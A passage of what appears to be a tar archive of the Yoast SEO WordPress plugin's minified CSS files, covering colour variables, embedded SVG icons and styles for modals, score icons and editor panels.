218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-color-default:#404040;--yoast-color-default-darker:#303030;--yoast-color-primary:#a4286a;--yoast-color-secondary:#f7f7f7;--yoast-color-white:#fff;--yoast-color-green:#6ea029;--yoast-color-primary-darker:#7b1e50;--yoast-color-primary-lighter:#f5d6e6;--yoast-color-secondary-darker:#d9d9d9;--yoast-color-button-upsell:#fec228;--yoast-color-button-upsell-hover:#f2ae01;--yoast-color-dark:#303030;--yoast-color-sale:#fec228;--yoast-color-sale-darker:#feb601;--yoast-color-border:#0003;--yoast-color-label:#303030;--yoast-color-label-help:#707070;--yoast-color-active:#6ea029;--yoast-color-inactive:#dc3232;--yoast-color-inactive-text:#707070;--yoast-color-inactive-grey:#9e9e9e;--yoast-color-inactive-grey-light:#f1f1f1;--yoast-color-active-light:#b6cf94;--yoast-transition-default:all 150ms ease-out;--yoast-color-link:#006dac;--yoast-color-border--default:#0003;--yoast-color-focus:0 0 0 2px #007fff,0 0 0 5px #bfdfff}.yst-root .yst-introduction-modal .yst-modal__close-button{--tw-text-opacity:1;background-color:initial;color:rgb(107 114 128/var(--tw-text-opacity))}.yst-root .yst-introduction-modal .yst-modal__close-button:focus{--tw-ring-offset-width:0px;outline:2px solid #0000;outline-offset:2px}.yst-root .yst-introduction-gradient{background:linear-gradient(180deg,#a61e6940 10%,#fff0 80%)}.yst-root .yst-introduction-modal-uppercase{--tw-text-opacity:1;color:rgb(100 116 139/var(--tw-text-opacity));letter-spacing:.8px;text-transform:uppercase}.yst-root .yst-logo-icon{background-color:var(--yoast-color-primary);height:17px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:17px}wordpress-seo/css/dist/filter-explanation-2420.css000064400000000107147510273070016023 0ustar00#posts-filter .wpseo-filter-explanation{clear:both;margin:10px 1px 5px}wordpress-seo/css/dist/ai-fix-assessments-2420-rtl.css000064400000000274147510273070016545 0ustar00.yst-fixes-button__lock-icon{background-color:#fde68a;border-radius:50%;height:14px;padding:1px 2px;position:absolute;left:-6px;top:-6px;width:14px}.ai-button:disabled{pointer-events:auto}wordpress-seo/css/dist/elementor-2420-rtl.css000064400000011303147510273070015007 0ustar00:root{--yoast-elementor-color-paragraph:#555d66}.yoast,.yoast h2,.yoast h3{font-family:var(--yoast-font-family)!important}.yoast h2{color:var(--yoast-color-dark);font-size:1.3em;font-weight:var(--yoast-font-weight-bold);margin-bottom:1em}.yoast input,.yoast input:focus,.yoast label,.yoast select:focus,.yoast select:not(:focus){background-color:#0000;border-color:var(--yoast-color-secondary-darker);color:var(--yoast-color-font-default)}.yoast label{color:var(--yoast-color-label)}.yoast input[disabled]{background-color:var(--yoast-color-inactive-grey-light)}.yoast.components-panel__body .yoast-title{font-weight:500}.yoast-field-group__title b{font-weight:var(--yoast-font-weight-bold)}.yoast h3 span>span{font-weight:400}.elementor-tab-control-yoast-seo-tab span:before,.yoast-element-menu-icon:before{background-color:currentColor;content:" ";height:16px;margin:0 auto;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:16px}.yoast-element-menu-icon{display:inline-flex}.yoast-element-menu-icon:before{height:19px;width:19px}.yoast-elementor-panel__fills{-webkit-font-smoothing:subpixel-antialiased;background-color:var(--yoast-color-white);color:var(--yoast-color-dark)}.yoast li,.yoast p,.yoast small{line-height:1.5;margin-bottom:6px}.yoast p,.yoast small,.yoast ul[role=list] li{color:var(--yoast-elementor-color-paragraph)}.button-link,.yoast a,.yoast a p,.yoast-elementor-panel__fills p a{color:var(--yoast-color-link);text-decoration:underline}.yoast a.dashicons{color:var(--yoast-color-inactive-text);height:24px;vertical-align:text-bottom;width:24px}.button-link{background:none;border:none;cursor:pointer;font-size:1em;line-height:1.5}.yoast .yoast-button-upsell,.yoast-elementor-panel__fills .UpsellLinkButton{color:var(--yoast-color-label);line-height:1.4em;text-decoration:none}.yoast-elementor-panel__fills h3>button{background:none;border:none;box-shadow:none}.yoast-gutenberg-modal .yoast-notice-container>hr{border-top-color:#ddd;border-top-style:solid}.yoast-gutenberg-modal input[type=radio]{-webkit-appearance:none;-moz-appearance:none;border:var(--yoast-border-default);border-radius:50%;box-shadow:inset 0 2px 4px #0000001a;cursor:pointer;height:18px;margin:0 0 0 8px;overflow:hidden;padding:2px;position:relative;transition:all .15s ease-out 0s;vertical-align:text-bottom;width:18px}.yoast-gutenberg-modal input[type=radio]:checked{background-color:inherit;border-color:var(--yoast-color-primary)}.yoast-gutenberg-modal input[type=radio]:checked:after{background:var(--yoast-color-primary);border-radius:50%;content:"";display:block;height:10px;right:3px;position:absolute;top:3px;width:10px}.yoast-post-settings-modal .yoast-notice-container{bottom:auto}.yoast-gutenberg-modal .components-popover.components-tooltip{right:unset!important;position:relative;left:40px;top:15px!important}.yoast div:focus,div.yoast:focus{outline:0}.yoast .button-link:focus,.yoast a:focus{box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc;color:#124964;outline:1px solid #0000}.yoast a.dashicons:focus{color:#1e8cbe}.yoast input[type=radio]:checked:focus{border-color:#fff;box-shadow:var(--yoast-color-focus)}.yoast .yoast-button-upsell:focus{box-shadow:inset 0 -4px 0 #0003,0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc;color:#000}.yoast-elementor-introduction{background-color:#fff;box-shadow:var(--yoast-shadow-default);padding:20px;position:absolute!important;text-align:right;z-index:1}#yoast-introduction{border-radius:3px;right:41px!important;top:5px!important}#yoast-introduction-editor-v2{border:1px solid #000;border-radius:8px}.yoast-elementor-introduction:before{border:solid #0000;content:"";position:absolute}#yoast-introduction:before{border-bottom-color:#fff;border-width:7px 5px;right:-12px;top:8px;transform:rotate(90deg)}#yoast-introduction-editor-v2:before{border-bottom-color:#000;border-width:10px 8px;right:var(--yoast-elementor-introduction-arrow,28%);top:-20px}.yoast-elementor-introduction>div{color:var(--yoast-color-default)}.yoast-elementor-introduction>.dialog-header{font-weight:var(--yoast-font-weight-bold);line-height:1.3}.yoast-elementor-introduction>.dialog-message{margin-top:.5em}.yoast-elementor-introduction>.dialog-buttons-wrapper{display:flex;justify-content:flex-end;margin-top:12px}#yoast-introduction .dialog-button,#yoast-introduction-editor-v2 .dialog-button{background-color:var(--yoast-color-primary);font-size:12px;padding:7px 17px}@media(hover:hover){.button-link:hover,.yoast a:hover,.yoast a:hover p,.yoast-elementor-panel__fills p a:hover{color:var(--yoast-color-primary-darker)}.yoast a.dashicons:hover{color:var(--yoast-color-link)}.yoast .yoast-button-upsell:hover,.yoast-elementor-panel__fills .UpsellLinkButton:hover{color:var(--yoast-color-label)}}wordpress-seo/css/dist/first-time-configuration-2420.css000064400000005067147510273070017160 0ustar00#yoast-configuration .yst-input{--tw-bg-opacity:1!important;--tw-shadow:0 1px 2px 0 #0000000d!important;--tw-shadow-colored:0 1px 2px 0 var(--tw-shadow-color)!important;background-color:rgb(255 255 255/var(--tw-bg-opacity))!important;border-radius:.375rem!important;border-width:1px!important;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)!important;font-size:.8125rem!important;padding:.5rem .75rem!important}#yoast-configuration .yst-radio{align-items:center!important;display:flex!important}#yoast-configuration .yst-radio__input{--tw-border-opacity:1!important;--tw-text-opacity:1!important;--tw-shadow:0 0 #0000!important;--tw-shadow-colored:0 0 #0000!important;-webkit-appearance:none!important;appearance:none!important;border-color:rgb(209 213 219/var(--tw-border-opacity))!important;border-radius:9999px!important;border-width:1px!important;box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)!important;color:rgb(166 30 105/var(--tw-text-opacity))!important;height:1rem!important;margin:0!important;transition-property:none!important;width:1rem!important}#yoast-configuration .yst-radio__input:before{content:var(--tw-content)!important;display:none!important}#yoast-configuration .yst-radio__input:checked{--tw-border-opacity:1!important;border-color:rgb(166 30 105/var(--tw-border-opacity))!important;border-width:5px!important}#yoast-configuration .yst-radio__input:focus{--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color)!important;--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color)!important;--tw-ring-opacity:1!important;--tw-ring-color:rgb(166 30 105/var(--tw-ring-opacity))!important;--tw-ring-offset-width:2px!important;--tw-ring-offset-color:#fff!important;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow,0 0 #0000)!important;outline:2px solid #0000!important;outline-offset:2px!important}#yoast-configuration .yst-radio__label{--tw-text-opacity:1!important;color:rgb(55 65 81/var(--tw-text-opacity))!important;font-weight:500!important;margin-left:.75rem!important}#yoast-configuration .yst-radio-group__label{margin-bottom:.25rem!important}#yoast-configuration .yst-radio-group__options{display:flex!important;flex-direction:column!important;gap:.5rem!important}#yoast-configuration .yst-radio-group__description{margin-bottom:1rem!important}#yoast-configuration .yst-checkbox__input:before{--tw-content:none!important;content:var(--tw-content)!important}wordpress-seo/css/dist/metabox-primary-category-2420.css000064400000001302147510273070017147 0ustar00.wpseo-is-primary-term,.wpseo-primary-term>label{font-weight:600}.wpseo-non-primary-term>.wpseo-is-primary-term,.wpseo-primary-term>.wpseo-make-primary-term,.wpseo-term-unchecked>.wpseo-is-primary-term,.wpseo-term-unchecked>.wpseo-make-primary-term{display:none}.wpseo-is-primary-term,.wpseo-make-primary-term{float:right}.wpseo-non-primary-term:after,.wpseo-non-primary-term:before,.wpseo-primary-term:after,.wpseo-primary-term:before{content:"";display:table}.wpseo-non-primary-term:after,.wpseo-primary-term:after{clear:both}.wpseo-make-primary-term{background:none;border:none;color:#0073aa;cursor:pointer;margin:4px 0 0;padding:0;text-decoration:underline}.wpseo-make-primary-term:hover{color:#00a0d2}wordpress-seo/css/dist/score_icon-2420.css000064400000000634147510273070014346 0ustar00.wpseo-score-icon{background:#888;border-radius:50%!important;display:inline-block!important;height:12px!important;margin:3px 10px 0 3px;vertical-align:top;width:12px!important}.wpseo-score-icon.good{background-color:#7ad03a}.wpseo-score-icon.ok{background-color:#ee7c1b}.wpseo-score-icon.bad{background-color:#dc3232}.wpseo-score-icon.na{background-color:#888}.wpseo-score-icon.noindex{background-color:#1e8cbe}wordpress-seo/css/dist/metabox-primary-category-2420-rtl.css000064400000001301147510273070017745 0ustar00.wpseo-is-primary-term,.wpseo-primary-term>label{font-weight:600}.wpseo-non-primary-term>.wpseo-is-primary-term,.wpseo-primary-term>.wpseo-make-primary-term,.wpseo-term-unchecked>.wpseo-is-primary-term,.wpseo-term-unchecked>.wpseo-make-primary-term{display:none}.wpseo-is-primary-term,.wpseo-make-primary-term{float:left}.wpseo-non-primary-term:after,.wpseo-non-primary-term:before,.wpseo-primary-term:after,.wpseo-primary-term:before{content:"";display:table}.wpseo-non-primary-term:after,.wpseo-primary-term:after{clear:both}.wpseo-make-primary-term{background:none;border:none;color:#0073aa;cursor:pointer;margin:4px 0 0;padding:0;text-decoration:underline}.wpseo-make-primary-term:hover{color:#00a0d2}wordpress-seo/css/dist/edit-page-2420-rtl.css000064400000001124147510273070014654 0ustar00.wpseo-score-icon{background:#888;border-radius:50%!important;display:inline-block!important;height:12px!important;margin:3px 3px 0 10px;vertical-align:top;width:12px!important}.wpseo-score-icon.good{background-color:#7ad03a}.wpseo-score-icon.ok{background-color:#ee7c1b}.wpseo-score-icon.bad{background-color:#dc3232}.wpseo-score-icon.na{background-color:#888}.wpseo-score-icon.noindex{background-color:#1e8cbe}@media screen and (max-width:782px){.wpseo-score-icon{margin-right:0!important;margin-left:0}.wpseo-score-icon .wpseo-score-text{display:none}.wpseo-cornerstone svg{margin-right:-4px}}wordpress-seo/css/dist/ai-generator-2420-rtl.css000064400000000652147510273070015377 0ustar00.yst-replacevar__use-ai-button-upsell{align-items:center;background-color:#f7f7f7;border:1px solid #dbdbdb;border-radius:4px;box-shadow:inset 0 -2px 0 0 #0000001a;box-sizing:border-box;color:#303030;cursor:pointer;display:flex;min-height:32px;padding:0 .5em;transition:var(--yoast-transition-default)}.yst-replacevar__use-ai-button-upsell:hover{background-color:#fff;border-color:var(--yoast-color-border--default);color:#000}wordpress-seo/css/dist/yst_seo_score-2420.css000064400000000773147510273070015107 0ustar00.wpseo-score-icon{background:#888;border-radius:50%!important;display:inline-block!important;height:12px!important;margin:3px 10px 0 3px;vertical-align:top;width:12px!important}.wpseo-score-icon.good{background-color:#7ad03a}.wpseo-score-icon.ok{background-color:#ee7c1b}.wpseo-score-icon.bad{background-color:#dc3232}.wpseo-score-icon.na{background-color:#888}.wpseo-score-icon.noindex{background-color:#1e8cbe}.wpseo-score-title{font-weight:600}#taxonomy_overall{margin-left:87.5%;position:absolute;top:0}wordpress-seo/css/dist/inside-editor-2420-rtl.css000064400000000152147510273070015554 0ustar00.yoast-text-mark{background-color:#e1bee7}.yoast-text-mark__highlight{background-color:#4a148c;color:#fff}wordpress-seo/css/dist/modal-2420.css000064400000017563147510273070013330 0ustar00.yoast-modal__screen-overlay{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;background-color:#a4286a99;bottom:0;left:0;position:fixed;right:0;top:0;z-index:100000}.yoast-modal{background:#fff;bottom:48px;display:flex;flex-direction:column;height:calc(100% - 96px);left:calc(50% - 440px);max-width:880px;overflow:hidden;position:fixed;top:48px;width:100%}.yoast-gutenberg-modal .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:20px;margin-right:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:20px}.yoast-tabs .yoast-modal__content{display:grid;grid-template-areas:"heading heading" "menu content" "menu footer";grid-template-columns:280px 1fr;grid-template-rows:72px 1fr 88px}.yoast-modal__heading{align-items:center;background:var(--yoast-color-white);border-bottom:var(--yoast-border-default);box-sizing:border-box;display:flex;grid-area:heading;min-height:72px;padding:0 24px}.yoast-modal__heading .yoast-close{position:absolute;right:16px}.yoast-gutenberg-modal__box.components-modal__frame{box-shadow:0 20px 25px -5px #0000001a,0 8px 10px -6px #0000001a}@media (min-width:600px){.yoast-gutenberg-modal__box.components-modal__frame{border-radius:8px;max-height:calc(100% - 48px)}}.yoast-gutenberg-modal__no-padding .components-modal__content{padding:0}.yoast-gutenberg-modal .components-modal__header-heading,.yoast-modal__heading h1{color:var(--yoast-color-primary);font-size:20px;font-weight:400;line-height:1.2;margin:0}.yoast-gutenberg-modal .components-modal__content .components-modal__header{border-bottom:1px solid #e2e8f0!important}.yoast-gutenberg-modal .components-modal__icon-container{display:inline-flex}.yoast-gutenberg-modal .components-modal__icon-container svg,.yoast-modal__heading-icon{fill:var(--yoast-color-primary);flex-shrink:0;height:20px;margin-right:16px;width:19px}.yoast-modal__menu{border-right:var(--yoast-border-default);grid-area:menu;overflow-y:auto}.yoast-modal__menu ul{list-style:none;margin:0;padding:0}.yoast-modal__menu li{border-bottom:var(--yoast-border-default);color:var(--yoast-color-default);cursor:pointer;display:block;font-size:16px;padding:12px 16px 11px;text-decoration:none}.yoast-modal__menu li:hover{background-color:#edd4e1}.yoast-modal__menu li.yoast-tabs__tab--selected{background-color:var(--yoast-color-primary);border-bottom:var(--yoast-border-default);color:#fff}.yoast-modal__content,.yoast-modal__section{display:flex;flex-direction:column;flex-grow:1;grid-area:content;overflow-y:auto;position:relative}.yoast-modal__section *{max-width:600px}.yoast-modal__section-header{background:var(--yoast-color-white);padding:24px 24px 0;position:sticky;top:0;z-index:10}.yoast-modal__section .yoast-h2{border-bottom:var(--yoast-border-default);padding-bottom:24px}.yoast-modal__footer{align-items:center;align-self:flex-end;background:var(--yoast-color-white);border-top:var(--yoast-border-default);bottom:0;box-sizing:border-box;display:flex;grid-area:footer;justify-content:flex-end;margin:0 24px;min-height:88px;padding:0;position:sticky;width:calc(100% - 48px);z-index:10}.yoast-modal__settings-saved{align-items:center;display:inline-flex;margin-right:16px;position:relative}.yoast-modal__settings-saved:before{background:var(--yoast-checkmark--green) no-repeat center;content:"";display:inline-block;height:13px;margin-right:8px;width:14px}.yoast-modal__footer .yoast-button{display:block}.yoast-modal__section-content{flex-grow:1;padding:24px}@media screen and (max-width:880px){.yoast-modal{bottom:0;height:auto;left:0;right:0;top:0}}@media screen and (max-width:782px){.yoast-modal{overflow-y:initial}.yoast-modal.yoast-modal-collapsible{padding-bottom:72px}.yoast-tabs .yoast-modal__content{grid-template-rows:48px 1fr 72px}.yoast-modal__heading{min-height:48px;padding:0 16px;position:fixed;top:0;width:100%;z-index:11}.yoast-modal__heading h1{font-size:var(--yoast-font-size-default)}.yoast-close svg{width:10px}.yoast-modal__heading-icon{height:15px;margin-right:8px}.yoast .yoast-close{right:3px}.yoast-modal__heading .yoast-h2{font-size:var(--yoast-font-size-default)}.yoast-modal__section{flex-grow:0;overflow:initial}.yoast-modal__section-content{margin:0 16px;padding:24px 0}.yoast-modal__section:first-of-type{margin-top:48px}.yoast-modal__section:last-of-type{margin-bottom:72px}.yoast-modal__section-header{margin:0;padding:0;position:sticky;top:48px}.yoast-modal__section-open .yoast-modal__section-header{margin-left:16px;margin-right:16px;padding-left:0;padding-right:0}.yoast-modal__section-open{border-bottom:var(--yoast-border-default)}.yoast-modal__footer{margin:0;min-height:72px;padding:0 16px;position:fixed;width:100%;z-index:11}.yoast-modal-collapsible .yoast-modal__footer{min-height:72px}.yoast-modal-collapsible .yoast-modal__section-content{border-bottom:var(--yoast-border-default);margin:0;padding:24px 16px}.yoast-collapsible__hidden{display:none}.yoast-collapsible__trigger{background:#fff;border:none;border-bottom:var(--yoast-border-default);color:var(--yoast-color-primary);cursor:pointer;font-size:var(--yoast-font-size-default);justify-content:space-between;padding:16px;text-align:left;width:100%}.yoast-collapsible__trigger[aria-expanded=true] .yoast-collapsible__icon{transform:rotate(180deg)}.yoast-collapsible__trigger[aria-expanded=true]{margin:0 16px;padding:16px 0;width:calc(100% - 32px)}.yoast-collapsible__icon{background-color:var(--yoast-color-white);background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 8' fill='%23404040'%3E%3Cpath d='M1.4 0 6 4.6 10.6 0 12 1.4 6 7.5 0 1.4z'/%3E%3C/svg%3E");background-position:50%;background-repeat:no-repeat;background-size:10px auto;border:none;display:block;float:right;height:19px;width:19px}.yoast-collapsible-block{margin-top:48px;width:100%}.yoast-collapsible-block+.yoast-collapsible-block{margin-top:0}}.yoast-post-settings-modal{height:100%;max-height:calc(100% - 96px);max-width:calc(100% - 96px);overflow:hidden;width:880px}.yoast-modal-content{padding:16px}@media (min-width:782px){.yoast-modal-content--columns{grid-gap:24px;display:grid;grid-template-columns:1fr 1fr}}.yoast-post-settings-modal__button-container{border-bottom:1px solid #0003;display:flex;flex-direction:column;padding:16px}.yoast-post-settings-modal .components-modal__content{display:flex;flex-direction:column;padding:0}.yoast-post-settings-modal .components-modal__header{border-bottom:var(--yoast-border-default);flex-shrink:0;margin:0}.yoast-post-settings-modal .yoast-notice-container{bottom:0;left:0;margin-top:auto;position:sticky;width:100%;z-index:1}.yoast-post-settings-modal .components-modal__content>div:not([class]):not([class=""]){display:flex;flex-direction:column;overflow:hidden}.yoast-post-settings-modal .yoast-notice-container>hr{margin-bottom:0;margin-top:-1px}.yoast-post-settings-modal .yoast-content-container{flex-grow:1;overflow-y:auto}.yoast-post-settings-modal .yoast-button-container{display:flex;flex-direction:row;justify-content:flex-end;margin:0;padding:24px}.yoast-post-settings-modal .yoast-button-container p{align-self:center;color:var(--yoast-color-label-help);padding-right:24px}.yoast-post-settings-modal .yoast-button-container button{align-self:center;flex-shrink:0;max-height:45px}@media only screen and (max-width:600px){.yoast-post-settings-modal{max-height:100%;max-width:100%}.yoast-post-settings-modal .yoast-button-container{justify-content:space-between;padding:16px}.yoast-post-settings-modal .yoast-button-container p{padding-right:0}}.yoast-related-keyphrases-modal,.yoast-wincher-seo-performance-modal{max-width:712px}.yoast-wincher-seo-performance-modal__content{padding:25px 32px 32px}#yoast-get-related-keyphrases-metabox,#yoast-get-related-keyphrases-sidebar{margin-top:8px}.yoast-gutenberg-modal .yoast-related-keyphrases-modal__content{min-height:66vh;position:relative}.yoast-related-keyphrases-modal__chart{display:block}wordpress-seo/css/dist/admin-global-2420-rtl.css000064400000063252147510273070015355 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 